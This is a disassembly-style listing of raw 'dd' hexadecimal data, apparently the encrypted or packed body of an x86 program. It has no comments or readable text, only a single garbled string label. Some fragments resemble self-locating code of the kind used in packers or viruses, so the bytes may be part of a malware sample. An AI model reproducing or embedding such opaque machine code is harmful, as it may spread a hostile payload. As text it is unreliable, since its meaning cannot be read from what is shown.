dd 6B30C9D7h, 80D12122h, 82ABA0A9h, 0FCEC3B6Dh, 39D0CE13h
dd 28B0CE2Bh, 3F0BB935h, 7B8075Ah, 0C3FBB0DDh, 0E9883B6Dh
dd 0BAC36A66h, 5A6088DDh, 31E13B63h, 66D978D4h, 9E8D0B5Fh
dd 0BC8C4D0Eh, 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh
dd 0B00BB956h, 0D6B8093Eh, 0DA6A3949h, 226F0949h, 0A7ECB959h
dd 0D5494FD5h, 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h
dd 0AEB13296h, 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h
dd 9EA74626h, 53B6F464h, 5DB07591h, 25B13256h, 5271B191h
dd 0ABB1A5BFh, 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh
dd 5FF6F557h, 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h
dd 0D4313D22h, 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h
dd 3133BF09h, 0FBB8093Eh, 0CB23CD00h, 0E1B8093Eh, 0FEBB4696h
dd 0DC03BF9Eh, 0B6B8093Eh, 603A6446h, 4D23CD03h, 0F6B8093Eh
dd 0C46FC7Dh, 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h
dd 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh
dd 13353DEEh, 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh
dd 0ABB9F09Fh, 0B55DB903h, 0EAB132BEh, 9F306856h, 0B38A5D69h
dd 0D4B977DDh, 95D920D4h, 9578535Fh, 20E43252h, 2D75B1BAh
dd 0EAB1DA36h, 0F4EB3256h, 81DE52BCh, 0A5F4F55Fh, 0AEB13256h
dd 574D7791h, 98B13256h, 0CB3A5496h, 82FBB091h, 75B03B6Dh
dd 3BD73256h, 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h
dd 51BEDBADh, 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h
dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 14333156h, 0AAB80752h
dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h
dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h
dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h
dd 0D4310F22h, 3589463Eh, 0D2FBB0A9h, 0D6D73B6Dh, 5656B248h
dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h
dd 284E6736h, 548A5A4Ch, 52F4BB0Bh, 0ABCCB137h, 83343D57h
dd 5EB13257h, 0DFBDA3ECh, 0F73A625Fh, 0B38A5A1Ch, 5810E6Fh
dd 0AFA0B059h, 0ED3A3256h, 0A2841D87h, 9F33B906h, 0D3B8093Eh
dd 7AE9026Ah, 0BAB1C8D9h, 530BB956h, 2DB8093Eh, 6CD93CD4h
dd 9C38265Fh, 85A175DFh, 82FBB0DDh, 693A3B6Dh, 0E5386A66h
dd 5D64DB5Eh, 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h
dd 503A3256h, 7C8A5A58h, 0D2BFB0D5h, 0D4A53B6Dh, 0BEF6BB61h
dd 22B2CAD5h, 0E133F55Ah, 0D7B8093Eh, 1B13256h, 7749B153h
dd 0C7326D2Bh, 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h
dd 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 35FBA8DDh
dd 0AA3A3B6Dh, 57186965h, 0DE313256h, 56773142h, 68B23796h
dd 7C8A5A1Ch, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h
dd 29B23796h, 0DC8A5A1Ch, 0E2F6BB1Eh, 9EBD75DFh, 30710168h
dd 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh
dd 7967A8DCh, 96313B6Ch, 33723157h, 1A383A11h, 59A5D95Ah
dd 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh
dd 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h, 0DAC0D8D7h
dd 6F3A3B6Dh, 0E38A5A5Ch, 4A32FB65h, 78353D56h, 0D6B13256h
dd 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h
dd 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h
dd 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h
dd 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h
dd 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h
dd 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh
dd 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah
dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h, 103B3153h
dd 2DB80753h, 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh
dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h
dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 4EC36EBCh, 0B00BB95Fh
dd 6EB8093Eh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h
dd 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h
dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh
dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h
dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h
dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h
dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h
dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh
dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh
dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h
dd 57B13256h, 995BB30Ch, 0E6B80925h, 636A019Fh, 0CF3ACE0Bh
dd 0B38A5A5Ch, 29B10DD5h, 518EB132h, 90323723h, 2840D942h
dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h
dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h
dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh
dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h
dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h
dd 0B0B13256h, 60CD8D7h, 203C3B6Dh, 548A5A74h, 0AEB156EEh
dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h
dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0B97BA8DBh, 784E3B6Dh
dd 4F3C3ABDh, 0E38AC3A6h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh
dd 2FEB3256h, 6CC53EBCh, 113C525Fh, 0DC8A5A74h, 63B977DDh
dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh
dd 0ABA1F09Fh, 4834F436h, 0ADB80741h, 62C2283Eh, 0C704CDFEh
dd 0D0B80740h, 96CA42D3h, 561CD5Fh, 0C3FFB8DBh, 2AE03B6Dh
dd 683C6886h, 7C8A5A18h, 0B6F18559h, 52E3EADDh, 6DB26867h
dd 5680B0DFh, 0C3D03B63h, 0E85251h, 5A000000h, 747DEA81h
dd 8B52093Bh, 35013182h, 4E6DB909h, 0E1F741C6h, 3039055Ah
dd 0FF250000h, 897FFFFFh, 35013182h, 0C3595A09h, 0E85251h
dd 5A000000h, 74ADEA81h, 0C88B093Bh, 0FFFFBBE8h, 0F7D233FFh
dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 93B6ABEh, 8B66D0FFh
dd 76858DC1h, 89093B74h, 351B6585h, 0A6858D09h, 89093B74h
dd 351F3185h, 0B809h, 0C00B0000h, 47840Fh, 85C60000h, 935179Dh
dd 30DF6856h, 0B5FFA9C5h, 935167Dh, 7B70858Dh, 0D0FF0938h
dd 0A58D8D50h, 5109352Eh, 68046Ah, 0FF000010h, 3531E9B5h
dd 8BD0FF09h, 3531E9BDh, 3C7F0309h, 0F8C781h, 47C70000h
dd 2024h, 19D8D60h, 8B093527h, 0FC00B03h, 584h, 89008B00h
dd 0F6B90443h, 8D00234Ch, 3B765E8Dh, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 531A2DD1h
dd 298D8904h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0B883C356h, 5C0BAE34h
dd 55858BC0h, 8B093516h, 3510AD95h, 7D85C709h, 0E8093528h
dd 6A000071h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 8A6FC356h, 98DEBB66h, 60F9BF0Fh
dd 860F60h, 0E9000000h, 0Fh, 27E02590h, 38E79715h, 0BDE33156h
dd 6140E9BCh, 85C761F5h, 9352255h, 0
aI5S db '`┴╫у',0Ah
db '5',9,'И',0Ah,0
align 4
dd 0F1D1066Bh, 494C20BEh, 0FF61D4F2h, 3503DDB5h, 95FFF809h
dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0B8C35141h, 8D51ECA2h, 89BFA67Fh, 352431BDh, 0FF006A09h
dd 35082995h, 0EBC08B09h, 4DFA0D59h, 63873B82h, 0AE41C505h
dd 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h, 4A44463Fh
dd 9F068132h, 62E5482Dh, 0BC4F88EFh, 0B7924703h, 0F07AB77Eh
dd 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah, 31051B9h
dd 807D4E7Bh, 52E13328h, 0DE8DF63Ah, 6B4A8FD7h, 8E8A23Dh
dd 0FD000000h, 8962C745h, 581A7F11h, 0C19D8B51h, 5909350Ah
dd 702EC081h, 74BA0000h, 0BE5D7B42h, 0
dd 8E8h, 0B785CA00h, 0FFD56DCBh, 8E8CFh, 0E710000h, 0C75A487Ch
dd 0B5016A71h, 9353039h, 34FF595Bh, 959D0906h, 5F09350Bh
dd 1BE98D89h, 0F7810935h, 6E9CFD1Eh, 1BFD8D89h, 0F7810935h
dd 7F0936E5h, 0A312F181h, 0C78141BDh, 96830F8h, 0BD89F560h
dd 93522B1h, 303C8961h, 0FB18529h, 0F3810935h, 0C02187Fh
dd 3EA2EE81h, 8A0F3A61h, 6, 25D99589h, 0C6810935h, 3A613E9Eh
dd 6919589h, 0FE810935h, 0FFFF90B4h, 1D850Fh, 0B5090000h
dd 9351789h, 28E9h, 2D44AF00h, 0C2AF0B4Fh, 0FA7384BCh
dd 84D51073h, 8AD58E2Ah, 0FF6CE9F3h, 5E44FFFFh, 0B42AEA3Ah
dd 4A26063h, 0B576F0DFh, 0AE81Eh, 6F240000h, 6F8FA2EDh
dd 501D756Eh, 8D896060h, 93516EDh, 11F18589h, 29610935h
dd 35275D8Dh, 8B5E6109h, 3517999Dh, 8AC68109h, 0E800006Fh
dd 0Ah, 81F75CF0h, 3F7DA711h, 8052DBB1h, 5B58C4C8h, 0B531FF2Bh
dd 935305Dh, 0E83734FFh, 12h, 57E294AFh, 9EF62DF5h, 83E06193h
dd 82940FF8h, 0F381AFFCh, 1C991EC2h, 95895A5Bh, 935161Dh
dd 6FBFC281h, 5E862E2h, 0FD000000h, 6DD08154h, 0A7D858Bh
dd 81590935h, 57998FEAh, 0AD29BB28h, 0F2814027h, 5E4424A2h
dd 8880Fh, 29500000h, 350D098Dh, 0E9525B09h, 0Dh, 0FA2A381Bh
dd 34DCF5A4h, 4F709B2h, 3E048F92h, 4830Fh, 0B9660000h
dd 8B66D1E0h, 1EF83C1h, 4F4F06B3h, 6820F4Fh, 8B000000h
dd 3528A585h, 60FF8109h, 0FFFFF91h, 0FFFF5F85h, 0D98B66FFh
dd 8EBh, 0B5610000h, 0BBE96E81h, 68000004h, 93B79C1h, 0FA0623E9h
dd 7A2768FFh, 19E9093Bh, 68FFFA06h, 93B7B81h, 0FA060FE9h
dd 0F5D280FFh, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h
dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h
dd 0C9DFE5FBh, 0CADB12FAh, 0AB2E4709h, 3F58D448h, 0DE56685Eh
dd 3EB63AB9h, 0A428E0B3h, 3617BFEh, 7C777915h, 11ECAECh
dd 2A1A8B13h, 851CDC31h, 3318B92h, 493C0000h, 4DCE70Ah
dd 1AC804C8h, 1C3641B0h, 5CF202A4h, 150354CDh, 0F709C5EBh
dd 15975A7Fh, 68B78DE1h, 0AFD81E0Dh, 0EED40AE4h, 0EA27E5D0h
dd 1F54FCC4h, 0D3086E93h, 94F3B11Dh, 9220B335h, 8ECF568h
dd 4878545Ah, 19B0EA8Dh, 0CB52A208h, 319D7540h, 4455255Dh
dd 7EFC25A4h, 0D05B5E64h, 0A0545A1Eh, 9458E6FCh, 4A5C179Dh
dd 0A92BC6D3h, 0FD758747h, 8B2F0DCh, 0FC27E564h, 4C6E1ADAh
dd 22D6C7D0h, 8B316F0Eh, 7F27E563h, 8EBF669h, 60846A84h
dd 0DDF0F49Eh, 0EECAB43Fh, 86000002h, 2AAEEFD4h, 6FF1AA37h
dd 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h, 7564FD8Dh, 1EBBB028h
dd 7865FB7Dh, 0D8C15D23h, 23C10DC3h, 12FAC899h, 2EBB008Dh
dd 0D50BC39Bh, 150D3A67h, 7F814D53h, 7DFFF2E7h, 322BD579h
dd 0EB82F6A7h, 247503EEh, 0DADA8E45h, 9F524FE0h, 0CB67D91Dh
dd 9D3E16CEh, 149FE064h, 2882Ah, 95322000h, 0C4DD5008h
dd 930E21D7h, 0B9DE560Ah, 94051CE4h, 8B7F0C07h, 0E2960792h
dd 894F4C49h, 0CF910A97h, 73554653h, 0C73F851Bh, 0AA3B12FAh
dd 0D39B2E29h, 20AC425Fh, 0D39B082h, 0CF22C415h, 0FAC97F41h
dd 0FFE54012h, 8B75AFDEh, 1DDB892h, 47170000h, 30A5BE2Bh
dd 0ADC133BEh, 8269834h, 0B18E6B8Bh, 9E2EE6h, 1503645Dh
dd 81418D13h, 0C04E7323h, 36BD3992h, 13120A6h, 932DE113h
dd 7DEF029Fh, 0FBFBF5E4h, 0E999BEA6h, 0B4D6A4ABh, 41E11558h
dd 9285F80Ch, 70522A5Eh, 0A686A3A2h, 94C309DBh, 31B71300h
dd 3116C5h, 2E750000h, 0D50BC39Bh, 1503724Ah, 3BC928AEh
dd 13011195h, 0E0E5CF56h, 0BED76FA0h, 2DD3FB46h, 0A44CA831h
dd 92859069h, 7164FF01h, 0DCD685h, 47B50000h, 0D143AE2Bh
dd 3EB24158h, 0AF1F8722h, 67A8F25Eh, 7AF66A89h, 0B1FA53Bh
dd 671B1C36h, 3C150CE6h, 0C927C913h, 0FA80F0D4h, 7C7E1C35h
dd 8F01F5E2h, 2C60693h, 35F9D6DCh, 28CCD21Ch, 69217453h
dd 3F652965h, 1C35F975h, 0F95F657Bh, 555B1C35h, 0F78D696Fh
dd 1501AB6Ch, 0B4468628h, 0DEE4FABDh, 0DA12FE48h, 0A8352AD4h
dd 7429C749h, 806475ECh, 0F2D80FAAh, 2EC6B033h, 0C6000001h
dd 0EA6E2F94h, 0AF316A77h, 7825B0h, 0AA2E6F68h, 0BE7526B3h
dd 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h, 63814D03h
dd 12FAC659h, 157B404Dh, 41A12BB9h, 13951C36h, 0E9F069E3h
dd 0CBC2FAB4h, 0CACF64A4h, 6C6C1BF6h, 8D1A1688h, 9A071990h
dd 56329A54h, 355B8248h, 8470761Ch, 2B4704A7h, 5DD143AEh
dd 35BCDD54h, 0B4EAC85h, 0A44AEEE9h, 9846824Ah, 1C355D32h
dd 84408026h, 8FDCAB6Ah, 0FBCCA155h, 0C6DCF0A8h, 1502CAFEh
dd 716E00F6h, 0DCF0FE82h, 0B16786A4h, 11E56858h, 376D216Dh
dd 1300DB8Dh, 1D8F6789h, 34089504h, 1300DB92h, 6C31AEC2h
dd 705C7DF4h, 8832701Ch, 7C1300DBh, 0DB42885Ah, 0FE721300h
dd 39BDE3E1h, 5BD0BAh, 2E010000h, 0BF0BC39Bh, 41EFD50Bh
dd 0C5EB1C36h, 39BDA331h, 2FB1150Dh, 0C3DC50C4h, 8D0A26DAh
dd 11E8D666h, 0C8157251h, 8A3529DCh, 0B4916E54h, 0AA446AADh
dd 0E6F36FF1h, 1881990Bh, 8A7AEBD9h, 8E5463FFh, 0ADB49124h
dd 0EF807E20h, 737DFFF2h, 1DBAB62Ah, 3ECD6h, 4F1D0000h
dd 0B0154784h, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h
dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah
dd 4C781E7h, 53000000h, 4BBh, 5BDF2900h, 5C243C87h, 66468h
dd 24048900h, 5E08950h, 4, 8704E883h, 895C2404h, 0BD552434h
dd 7D2E0E87h, 7640F581h, 0E8897415h, 83242C8Bh, 8B5404C4h
dd 0C4812434h, 4, 8468F50h, 5224348Bh, 0C281E289h, 4, 4C281h
dd 14870000h, 48B5C24h, 0E0895024h, 405h, 40500h, 4870000h
dd 81E95C24h, 91FFFA01h, 2B50985Bh, 0D495FBFAh, 0F452C38Bh
dd 0D4B803C2h, 3093B7Ch, 96E0FFC5h, 4C0B0013h, 0E7030377h
dd 8D49787Ah, 3B7E6A8Dh, 11E809h, 8260000h, 0B3E0713Dh
dd 498E568Fh, 0BC435CFCh, 0FE32B37h, 38Ah, 0DF8B6600h
dd 298D895Ah, 6A093516h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 7284C350h, 5B0F8512h
dd 0E079A96Eh, 287D85C7h, 59A80935h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 50F0A9C3h
dd 0B7B2933h, 350C9585h, 5585C709h, 93522h, 29000000h
dd 351EE5B5h, 95B5FF09h, 6A093530h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F954C351h
dd 0F32C056h, 0E280894Eh, 595FF0Eh, 6A09350Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 52B2C355h, 0B7208FADh, 5DA2CABFh, 0FF006A24h, 35082995h
dd 0EBC08B09h, 685A7B6Eh, 1B4A1F84h, 9AB79EF2h, 8C5858C4h
dd 0DAC3D308h, 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h
dd 431F5343h, 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h
dd 0D24675E1h, 70CD39C7h, 1DD4A7C2h, 0B9BCEDF9h, 3605FA95h
dd 34644448h, 0E966B6BAh, 3222E5Ah, 0AB6022CDh, 0C460B578h
dd 4BEBB2EEh, 8CEC0F40h, 500DEB1Ch, 0E8CC9BF6h, 0Dh
dd 0D9FEA303h, 0C9B6A744h, 5C253485h, 8D8D8B9Ah, 5B093505h
dd 5E8h, 0BC41C300h, 0BD89BC8Dh, 93510E5h, 0D9C3815Fh
dd 0F000062h, 68Fh, 4DBD0300h, 0BE093516h, 57855D0Dh, 4478EE81h
dd 0EBB85785h, 8B29702Ah, 81FA8B13h, 0DF6AC9C2h, 81EF8A35h
dd 65B94DF2h, 3880F08h, 66000000h, 0C281C88Bh, 1C5A4F4Fh
dd 89C8BF0Fh, 4EB8313h, 10A5E1BFh, 1EE834Fh, 0FFC9850Fh
dd 0F52FFFFh, 38Fh, 0FB8B6600h, 5B8D8D5Fh, 6A093B80h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 569FC356h, 0F558D89h, 0F5E0935h, 8D89F2BFh, 9351629h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4DC35747h
dd 0C6BF3E17h, 4AAE858Bh, 0D5BD8944h, 0C709352Ch, 35287D85h
dd 66FC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0E50E9879h, 2E91858Bh, 85C70935h
dd 9352255h, 0
dd 12E9h, 4AB80900h, 7212C1AEh, 0C11D6C40h, 76D10567h
dd 0FFAA21A4h, 352C79B5h, 0DA8B6609h, 0D0595FFh, 6A0935h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 13A8FC3h, 0B063842Ch, 0D9BF0F23h, 16758589h, 6A0935h
dd 82995FFh, 0C08B0935h, 3C3829EBh, 9E51DF6Bh, 0D7F7AD4h
dd 0AE635A1Ch, 0DA5390F8h, 2420660Fh, 84D9BE68h, 27E18E3Eh
dd 0B2584EDCh, 5E297CA5h, 0E87D9205h, 0Bh, 9E440AB6h, 850F4F51h
dd 298CCF3Ah, 351F018Dh, 0C3815B09h, 68B8h, 30A9958Bh
dd 36B90935h, 812C119Eh, 118430E9h, 0CD9D312Ch, 8B09351Ah
dd 45BA6603h, 3C08123h, 600FD3FAh, 0B58B56F9h, 9350615h
dd 0F081615Bh, 5678C9ABh, 53DF8166h, 1DF081FCh, 0E9236A47h
dd 11h, 20B383C9h, 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 92B25040h
dd 0F60038Fh, 281h, 8B616000h, 352CE185h, 0EB836109h, 4BF8B601h
dd 0BD094B4Bh, 9350BF5h, 1E981h, 850F0000h, 0FFFFFF93h
dd 8DB58B60h, 6109352Fh, 3A9008EBh, 41F3h, 50E90000h, 6800000Ah
dd 93B82BEh, 0FAC45BE9h, 83CE68FFh, 51E9093Bh, 68FFFAC4h
dd 93B8585h, 0FAC447E9h, 867368FFh, 3DE9093Bh, 68FFFAC4h
dd 93B87D6h, 0FAC433E9h, 899368FFh, 29E9093Bh, 68FFFAC4h
dd 93B8A35h, 0FAC41FE9h, 0D68447FFh, 6C10BAC5h, 0D38B403Fh
dd 6610BDCAh, 0DB834A35h, 378B2AD2h, 0C6C1EA90h, 205F4C08h
dd 9CEBB0A8h, 31634828h, 163BD48h, 83F8CF89h, 5A1ACEEBh
dd 0D4944043h, 882FF8C7h, 0A3051840h, 2F504F5h, 2B7D90CCh
dd 0A6C4B918h, 998FCF82h, 9D9BBC70h, 0E1376121h, 0A187DD2h
dd 0E7CF82E6h, 33CE3EE0h, 0A08F0CEAh, 0E4EC17F6h, 74DB9974h
dd 0E71F725h, 11A8578Fh, 3239F9B1h, 50000000h, 0B5E89637h
dd 0ABAB2453h, 1D0E1E98h, 7224507Eh, 0B19B0085h, 7EAACF82h
dd 0B0ECF29Fh, 8176CF82h, 0F224276h, 4AF96DACh, 9BF9B1C3h
dd 0DCh, 0B91ACE23h, 0DC46CF10h, 7FC64D80h, 60A9FFA9h
dd 72F86667h, 5DDA3086h, 0FF546FFCh, 0A4DAF106h, 2A4A7E69h
dd 2C0791F3h, 9831883Fh, 0CB5DA7E6h, 45258FD4h, 0CBAB1D4Ah
dd 3F7B33E2h, 5E8AC64Eh, 0C6F20D1Eh, 6BBC67A6h, 3EDD47CEh
dd 0B7EC64Eh, 4E3E988Ah, 0BB6DBBC6h, 0E4B91C6Dh, 0FCF8368h
dd 75A8D0F8h, 0A3752013h, 5E5ECD7Ah, 0C86EAC29h, 1305D8BAh
dd 84FAD1E6h, 0F9616897h, 6029A115h, 11B5C875h, 829h, 0F0BDBD10h
dd 5A433B8Fh, 0F1BAA42Dh, 703D3996h, 0D9C2B80Fh, 0A9207423h
dd 339BECB1h, 0A72D5A43h, 2F99E6B7h, 412E5E4Fh, 890262C4h
dd 0F08AF1CFh, 225707CEh, 8034AE17h, 0F127C64Dh, 7E2E5B42h
dd 0F6D01268h, 6CD7EABFh, 0EAFC5978h, 69C64DC1h, 0B64469BFh
dd 0EA1F1D0Eh, 9588F6DDh, 80EFF154h, 0B464C64Dh, 0BCBA1362h
dd 7C8D7C05h, 7498F0F0h, 1DE64EA2h, 0C64E5BC3h, 54B18098h
dd 0CF838C47h, 1ED3CA5Eh, 0CF836BC0h, 0B3C4B5A2h, 0DB2D601Eh
dd 836BA83Ah, 8A7DABCFh, 0A3051844h, 78EC2B90h, 0F9B118CBh
dd 0A01Ah, 1ACE6000h, 8940435Ah, 21CBBED1h, 935D0CA9h
dd 0AD0C2756h, 0C64E4FFDh, 9398D80Ch, 0ED204074h, 9EEBF13Ah
dd 837A6A37h, 803E9CFh, 90193AD5h, 0C778A5F3h, 0A62F5860h
dd 0D8BA595Fh, 0EADD2AFEh, 57B27BE3h, 5F146C5h, 5016A680h
dd 7963B5C6h, 1CB45D3Dh, 31E7415Ch, 0A0DEF582h, 60F7E25Ch
dd 7E643775h, 719h, 0A08DCD00h, 2AF36B5Fh, 0A18AF4DDh
dd 0C0ED6966h, 495208BFh, 19B004B3h, 834B3C61h, 17BDCAD3h
dd 9F493667h, 91BECEDFh, 8903B234h, 60DAA1CFh, 465707CEh
dd 0BEEF8F39h, 5A1ACE34h, 0D4944043h, 7CDBAC7h, 0C80F5C57h
dd 514EB7C0h, 0A4CF82ACh, 833E3C93h, 0CEB9CE5Ah, 0E75C5707h
dd 0C107C8FCh, 74ABD3F8h, 0FD878610h, 538582ABh, 0A895FC13h
dd 0EA56C8CEh, 3E3EAA9Dh, 84118083h, 3824173h, 54C08921h
dd 0AA30E632h, 0CB72247Eh, 55E2D14Fh, 751DC763h, 52BA088Dh
dd 3CA8D7C4h, 2FB4613Ch, 0C454C0D7h, 4A3D5010h, 23C5D884h
dd 988FBDDCh, 0E3D5A4F3h, 7B6D9A83h, 9AFB0EFBh, 54C0D788h
dd 6616BCCBh, 784BDD27h, 0D76D6E23h, 248B54C0h, 0B2B226F5h
dd 0A92A9EE9h, 0CB120022h, 2952F332h, 9204A07Fh, 595FC87Bh
dd 8B70A530h, 1503410Fh, 0E8F03708h, 5FC1369Fh, 4894483Ch
dd 0D90041B4h, 8F1A722h, 6CA3DBEFh, 0A8685218h, 0D4BE3C38h
dd 160B6ADDh, 4C37D9E3h, 953AB2E1h, 3C810895h, 37Fh, 28FF5E82h
dd 45D0B9BFh, 0CF829874h, 42371107h, 0E6DD9935h, 916A39E7h
dd 0A9AF7850h, 0FAEC6960h, 594E8945h, 6CBABA2Eh, 0F069EC55h
dd 357BE5Bh, 0FED3E415h, 0ABDEB180h, 0A55D3C01h, 0C85C3333h
dd 0E0185C22h, 9635A6D1h, 0C7613C38h, 0BA0F2851h, 843FC9C4h
dd 75F69CF9h, 0CF1D5094h, 0EAF48EA6h, 0EC699E9Ah, 4E8396FAh
dd 3059CF59h, 0A52CAD17h, 0D84EDAB5h, 0C100B4D3h, 8396E244h
dd 986B714Eh, 0DED1DA8Fh, 13FBADFBh, 0FD54BB4Fh, 6223BFDAh
dd 49000005h, 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h
dd 24D0DD9Dh, 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h
dd 0B3123F4Dh, 0CF890531h, 0EE15922h, 6BEA1F1Dh, 0CF82ABF6h
dd 0FDC00AFDh, 82AB8E98h, 0CD5BCDCFh, 623DEBF6h, 0BB12B325h
dd 132455C3h, 9DF2C1A1h, 3C8F0E81h, 399CEDEBh, 0D8B7D724h
dd 0F910F92Fh, 4D808A9Ch, 22EECCC6h, 4EC9C6AEh, 0EDB48F99h
dd 47462692h, 0BFC8A81Ch, 375606C8h, 0EB5DC74Eh, 2AFEC64Dh
dd 0B5D2C57Ch, 8C38CB4Ah, 741BBFECh, 5DF08498h, 24Fh, 801D0EE5h
dd 4D810B15h, 4ED850C6h, 17EDC39h, 6215CF89h, 51A6F06Ch
dd 37B4F68h, 2D8C4330h, 42E6B9A5h, 0C1DC9A33h, 9BECB167h
dd 0AA474634h, 0CF890133h, 0D538F4E0h, 145DFF8Fh, 2CF75319h
dd 2B8A03ABh, 68C3917Dh, 3B5E83A6h, 474A7h, 2705B00h, 78E4EE19h
dd 0FF7F54B3h, 82FCD12Eh, 0F7676E99h, 4B9F4E26h, 0BAC5D684h
dd 44436814h, 0A0DFCC8Ch, 25673434h, 647D93Ch, 7F0CCF89h
dd 1F1D0EF7h, 1AD6BEAh, 52C6CF89h, 0DC9C483Bh, 6404B0CFh
dd 81474029h, 149DB3Ah, 1E0ACF89h, 40F39588h, 98E18133h
dd 33E8F904h, 0CFD96109h, 5CEBC7DFh, 0C196ADFBh, 3E510DC6h
dd 0BFDE8049h, 3664B358h, 0AE7D9C5Fh, 71713A3Ah, 0F9BF31C2h
dd 17A13h, 1ACE5B00h, 9440435Ah, 2FF8C7D4h, 6CE9E029h
dd 0C64D807Ah, 9744FD9h, 82A7378Ch, 0D3CA5ECFh, 82A6C01Eh
